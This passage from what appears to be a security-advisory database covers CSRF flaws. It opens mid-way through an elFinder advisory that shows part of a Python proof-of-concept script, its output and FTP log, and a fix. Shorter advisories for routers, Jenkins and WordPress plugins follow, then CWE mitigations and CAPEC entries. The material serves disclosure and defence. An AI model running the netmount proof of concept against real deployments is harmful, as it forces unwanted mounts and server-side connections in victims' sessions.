errors=\u0027replace\u0027)\nstatus, body = request({\u0027cmd\u0027:\u0027open\u0027,\u0027init\u0027:\u00271\u0027,\u0027target\u0027:\u0027l1_Lw\u0027})\nopened = json.loads(body)\ntarget = opened.get(\u0027cwd\u0027, {}).get(\u0027hash\u0027, \u0027l1_Lw\u0027)\nprint(\u0027OPEN_STATUS=\u0027 + str(status))\nprint(\u0027OPEN_HAS_CSRF=\u0027 + str(\u0027\"csrf\"\u0027 in body))\nstatus, body = request({\u0027cmd\u0027:\u0027mkdir\u0027,\u0027target\u0027:target,\u0027name\u0027:\u0027csrf-control-no-header\u0027})\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027CONTROL_MKDIR_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:160])\nstatus, body = request({\u0027cmd\u0027:\u0027netmount\u0027,\u0027protocol\u0027:\u0027ftp\u0027,\u0027host\u0027:\u0027127.0.0.1\u0027,\u0027port\u0027:\u002721210\u0027,\u0027path\u0027:\u0027/\u0027,\u0027user\u0027:\u0027anonymous\u0027,\u0027pass\u0027:\u0027\u0027})\nprint(\u0027NETMOUNT_WITHOUT_CSRF_STATUS=\u0027 + str(status))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_HAS_ADDED=\u0027 + str(\u0027\"added\"\u0027 in body))\nprint(\u0027NETMOUNT_WITHOUT_CSRF_BODY=\u0027 + body.replace(\u0027\\n\u0027, \u0027 \u0027)[:260])\nprint(\u0027FTP_LOG=\u0027)\nprint(open(log, encoding=\u0027utf-8\u0027, errors=\u0027replace\u0027).read().strip())\n```\n\nObserved output from the final local re-run in this environment:\n\n```text\nOPEN_STATUS=200\nOPEN_HAS_CSRF=True\nCONTROL_MKDIR_WITHOUT_CSRF_STATUS=403\nCONTROL_MKDIR_WITHOUT_CSRF_BODY={\"error\":[\"errPerm\",\"Invalid request. Please reload.\"],\"csrfReload\":true}\nNETMOUNT_WITHOUT_CSRF_STATUS=200\nNETMOUNT_WITHOUT_CSRF_HAS_ADDED=True\nNETMOUNT_WITHOUT_CSRF_BODY={\"added\":[{\"mime\":\"directory\",\"size\":0,\"ts\":1767225600,\"read\":1,\"write\":0,\"locked\":1,\"hash\":\"fnm1_Lw\",\"name\":\"anonymous@127.0.0.1\",\"rootRev\":\"\",\"options\":{\"path\":\"\",\"url\":\"\",\"tmbUrl\":\"self\",\"disabled\":[],\"separator\":\"\\/\",\"copyOverwrite\":1,\"uploadOverwrite\":1,\nFTP_LOG=\nCONNECT 127.0.0.1:37496\nCMD USER anonymous\nCMD PASS\nCMD OPTS UTF8 ON\nCMD HELP\nCMD epsv4 off\nCMD PASV\nCMD CWD /\nCMD PWD\nCMD FEAT\nCMD MLST /\nCLOSE\n```\n\nThe negative/control case is the `mkdir` request: without `X-elFinder-CSRF`, it returns HTTP 403 and `csrfReload:true`. The positive case is `netmount`: without `X-elFinder-CSRF`, it returns HTTP 200 with `added` and the fake FTP server logs the server-side FTP connection.\n\nCleanup:\n\n```sh\n# Stop the two local server processes, then remove the disposable harness.\nrm -rf /tmp/elfinder-csrf-poc-claude\n```\n\n### Impact\nAn attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for `netmount`. In the shipped minimal connector configuration, this lets the attacker:\n\n- force the victim\u0027s elFinder session to persist an attacker-chosen FTP network volume;\n- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;\n- send attacker-supplied FTP username/password values to that endpoint; and\n- expose the victim\u0027s later file-manager UI to the mounted remote volume.\n\nThe proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts `netmount` without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.\n\nThe impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing `netmount` CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim\u0027s authenticated session.\n\n### Suggested remediation\nRequire CSRF validation for `netmount`, including `protocol=netunmount`, before executing the command. The minimal fix is to add `netmount` to `elFinderConnector::$csrfProtectedCmds` in `php/elFinderConnector.class.php`.\n\nAlso consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.\n\nSuggested regression tests:\n\n- A request to `cmd=netmount\u0026protocol=ftp\u0026host=127.0.0.1\u0026port=\u003clocal-port\u003e` without `X-elFinder-CSRF` must return HTTP 403 and must not connect to the FTP listener.\n- The same request with the valid token from `cmd=open\u0026init=1` should preserve intended behavior for authorized users.\n- `protocol=netunmount` should also reject missing/invalid CSRF tokens.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
"id": "GHSA-9hjf-w35w-6vx2",
"modified": "2026-09-02T14:37:36Z",
"published": "2026-09-02T14:37:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/security/advisories/GHSA-9hjf-w35w-6vx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81890"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/31284facd033e081b2b69c08873b39c8a413b762"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/commit/36d40fff12222ad4c229d8889d8ed3fd3dbf0415"
},
{
"type": "PACKAGE",
"url": "https://github.com/Studio-42/elFinder"
},
{
"type": "WEB",
"url": "https://github.com/Studio-42/elFinder/releases/tag/2.1.70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "elFinder: CSRF in netmount allows forced FTP mounts and server-side FTP connections"
}
GHSA-9HJG-4H75-MVC5
Vulnerability from github – Published: 2026-02-23 18:32 – Updated: 2026-02-23 18:32Shenzhen Tenda F3 Wireless Router firmware V12.01.01.55_multi contains a cross-site request forgery (CSRF) vulnerability in the web-based administrative interface. The interface does not implement anti-CSRF protections, allowing an attacker to induce an authenticated administrator to submit state-changing requests, which can result in unauthorized configuration changes.
{
"affected": [],
"aliases": [
"CVE-2026-27513"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-23T17:23:29Z",
"severity": "MODERATE"
},
"details": "Shenzhen Tenda F3 Wireless Router\u00a0firmware V12.01.01.55_multi contains a cross-site request forgery (CSRF) vulnerability in the web-based administrative interface. The interface does not implement anti-CSRF protections, allowing an attacker to induce an authenticated administrator to submit state-changing requests, which can result in unauthorized configuration changes.",
"id": "GHSA-9hjg-4h75-mvc5",
"modified": "2026-02-23T18:32:02Z",
"published": "2026-02-23T18:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27513"
},
{
"type": "WEB",
"url": "https://www.tendacn.com/product/F3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tenda-f3-csrf-in-web-management-interface"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9HVF-PFQ3-7PP6
Vulnerability from github – Published: 2022-05-24 17:06 – Updated: 2022-12-21 16:37Amazon EC2 Plugin 1.47 and earlier does not perform permission checks in methods performing form validation. This allows users with Overall/Read access to Jenkins to connect to an attacker-specified URL within the AWS region using attacker-specified credentials IDs obtained through another method.
This vulnerability might also allow attackers to capture credentials stored in Jenkins. We have not been able to confirm that this is possible.
Additionally, these form validation methods do not require POST requests, resulting in a CSRF vulnerability.
Amazon EC2 Plugin 1.48 requires POST requests and Overall/Administer permission for the affected form validation methods.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:ec2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.48"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-2090"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-21T16:37:12Z",
"nvd_published_at": "2020-01-15T16:15:00Z",
"severity": "LOW"
},
"details": "Amazon EC2 Plugin 1.47 and earlier does not perform permission checks in methods performing form validation. This allows users with Overall/Read access to Jenkins to connect to an attacker-specified URL within the AWS region using attacker-specified credentials IDs obtained through another method.\n\nThis vulnerability might also allow attackers to capture credentials stored in Jenkins. We have not been able to confirm that this is possible.\n\nAdditionally, these form validation methods do not require POST requests, resulting in a CSRF vulnerability.\n\nAmazon EC2 Plugin 1.48 requires POST requests and Overall/Administer permission for the affected form validation methods.",
"id": "GHSA-9hvf-pfq3-7pp6",
"modified": "2022-12-21T16:37:12Z",
"published": "2022-05-24T17:06:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2090"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/ec2-plugin/commit/0cdbaf2d7da5c368209f427559c8608dec22a63b"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/ec2-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1004"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CSRF vulnerability in Jenkins Amazon EC2 Plugin"
}
GHSA-9HVQ-88WH-F99R
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30Cross-Site Request Forgery (CSRF) vulnerability in bgermann CformsII allows Cross Site Request Forgery.
This issue affects CformsII: from n/a through 15.1.3.
{
"affected": [],
"aliases": [
"CVE-2026-39436"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-25T23:16:32Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in bgermann CformsII allows Cross Site Request Forgery.\n\nThis issue affects CformsII: from n/a through 15.1.3.",
"id": "GHSA-9hvq-88wh-f99r",
"modified": "2026-05-26T13:30:52Z",
"published": "2026-05-26T13:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39436"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cforms2/vulnerability/wordpress-cformsii-plugin-15-1-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9HX5-XWG7-H8M3
Vulnerability from github – Published: 2022-05-17 02:51 – Updated: 2022-05-17 02:51Huawei FusionManager with software V100R002C03 and V100R003C00 could allow an unauthenticated, remote attacker to conduct a CSRF attack against the user of the web interface.
{
"affected": [],
"aliases": [
"CVE-2014-9136"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-02T20:59:00Z",
"severity": "HIGH"
},
"details": "Huawei FusionManager with software V100R002C03 and V100R003C00 could allow an unauthenticated, remote attacker to conduct a CSRF attack against the user of the web interface.",
"id": "GHSA-9hx5-xwg7-h8m3",
"modified": "2022-05-17T02:51:30Z",
"published": "2022-05-17T02:51:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9136"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/hw-372186"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9HX9-V7R8-39WM
Vulnerability from github – Published: 2026-01-14 09:31 – Updated: 2026-01-14 09:31The Stopwords for comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing nonce validation on the 'set_stopwords_for_comments' and 'delete_stopwords_for_comments' functions. This makes it possible for unauthenticated attackers to add or delete stopwords via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-15376"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-14T07:16:13Z",
"severity": "MODERATE"
},
"details": "The Stopwords for comments plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing nonce validation on the \u0027set_stopwords_for_comments\u0027 and \u0027delete_stopwords_for_comments\u0027 functions. This makes it possible for unauthenticated attackers to add or delete stopwords via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-9hx9-v7r8-39wm",
"modified": "2026-01-14T09:31:21Z",
"published": "2026-01-14T09:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15376"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/stopwords-for-comments/trunk/functions.php?marks=151,170#L151"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dd8c45c7-dbb2-46ab-8e50-e02062587b00?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9J25-3CVC-F5HG
Vulnerability from github – Published: 2023-01-05 18:30 – Updated: 2026-04-08 18:31The JetWidgets for Elementor plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0.12. This is due to missing nonce validation on the save() function. This makes it possible for unauthenticated attackers to to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This can be used to enable SVG uploads that could make Cross-Site Scripting possible.
{
"affected": [],
"aliases": [
"CVE-2023-0086"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-05T17:15:00Z",
"severity": "MODERATE"
},
"details": "The JetWidgets for Elementor plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0.12. This is due to missing nonce validation on the save() function. This makes it possible for unauthenticated attackers to to modify the plugin\u0027s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This can be used to enable SVG uploads that could make Cross-Site Scripting possible.",
"id": "GHSA-9j25-3cvc-f5hg",
"modified": "2026-04-08T18:31:59Z",
"published": "2023-01-05T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0086"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/jetwidgets-for-elementor/trunk/includes/class-jet-widgets-settings.php#L149"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2846332%40jetwidgets-for-elementor\u0026new=2846332%40jetwidgets-for-elementor\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8de3d3c7-bde2-4455-8d60-20307f0a53ee"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8de3d3c7-bde2-4455-8d60-20307f0a53ee?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.